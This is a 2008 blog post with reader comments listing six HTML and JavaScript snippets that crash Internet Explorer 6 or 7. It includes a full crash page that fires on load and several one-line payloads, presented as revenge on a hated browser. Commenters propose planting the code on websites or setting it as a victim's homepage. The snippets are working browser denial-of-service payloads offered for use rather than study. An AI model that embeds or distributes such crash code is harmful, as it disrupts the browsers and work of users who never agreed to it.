6 html and javascript codes to crash IE6
Posted by Jean-Baptiste Jung on Jun 18, 2008 | 35 commentsWho doesn’t hate IE6? Sadly, developers have to deal with that obsolete browser due to the still important amount of people using it.
Here is a small non-exhaustive list of html and Javascript codes that will totally crash IE.
After all, this browser is such a pain for developers, that we have the right to avenge us from time to time;)
Let's start with the longest of all:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>
<title>CRASH-IE</title>
<style type="text/css">
html, body {
overflow: hidden;
scrollbar-base-color: #330066;
}
.crash {
position:absolute;
left:200px;
top:200px;
width:200px;
}
</style>
<script type="text/javascript">
function galgenfrist() {
window.setTimeout('crashIE();',1000);
}
function crashIE() {
var moveNode = document.getElementById("move");
if(moveNode) {
moveNode.style.top = "100px";
moveNode.style.left = "200px";
}
}
</script>
</head>
<body onload="galgenfrist();">
<h1>CRASH-IE</h1>
<div id="move" class="crash">
<table>
<tbody>
<tr>
<td>
<textarea></textarea>
</td>
</tr>
</tbody>
</table>
</div>
</body>
</html>
Javascript and IE6, a true love story...
<script>for (x in document.write) { document.write(x);}</script>
This one was discover last year:
<style>*{position:relative}</style><table><input></table>
Anti-IE Javascript strikes back!
<body onLoad=”window()”>
Now my favorite: 11 symbols and...bang
<STYLE>@;/*
This one is the only one I know which make IE7 crash:
function getX( oElement ) {
var iReturnValue = 0;
while( oElement != null ) {
iReturnValue += oElement.offsetLeft;
oElement = oElement.offsetParent;
}
return iReturnValue;
}
Have some nice crashs







Click here for demo and more info
I didn’t tried them all, but already had lots of fun! ie sucks
Seems that number 3 doesn’t make my IE6 crash. Others works properly.
Unfortunately I already uninstalled all IE Versions…
@mig: Me too. But it can be very funny to put on a website
…and set the website as homepage xD
Sure, it’s a good way to convince someone who doesn’t want to switch to Firefox
the second one just closes the IE and does not crash … I tried by opening 2 windows and one just closed!! can u call this crashing?
BTW I never use IE…
“Who doesn’t hate IE6? Sadly, developers have to deal with that obsolete browser due to the still important amount of people using it.”
this is true….
@shoban: For what I remember, the second crash IE as well as the others. I don’t have IE right now, but i’ll make a retry when i’ll be at work.
Btw, which serious people still use IE?
IE is still used by the majority of internet users because it’s convinient, every Windows has it. But it’s good treand to see that this number is smaller every day. I have been looking data for my blogs, and IE7 is third, and IE6 fifth browser. Firefox2 and Opera9 are first two. So, eventually IE6 will be gone, and IE7 is not that bad, but I would like to see it gone too. God help us with new IE8.
the last one does not work at all…
but the one with “position:relative” discovered last year still works on fully patched IE7 & XP SP3!
there was even an icq 6 crash possible meanwhile..
Designers should STOP using all kinds of hacks to make their designs work in IE. I mean, it’s about time all the people who still use IE migrate (…) to browsers that do a better job. Please let IE crash BIG TIME and let’s take it to the graveyard and get it over with, once and for all.
About time it becomes extinct.
My humble opinion…
@shanna: Totally agree…
@jbj: So good to know I’m not alone in this… (grin)
The IE7 one wouldn’t work for me..
just for fun….
this actually works, tested back to ie 5, on safari and FF 2 & 3
function getX( oElement ) {
var iReturnValue = 0;
do{
iReturnValue += oElement.offsetLeft;
}while(oElement = oElement.offsetParent)
return iReturnValue;
}
there is no typo, ‘while(oElement = oElement.offsetParent)’ is the important line
@zaphod: I’ll test it, thanks for your contribution!
The People out there who still use IE is the people not often use computer, thats why they don’t know how bad IE is. No need care for them.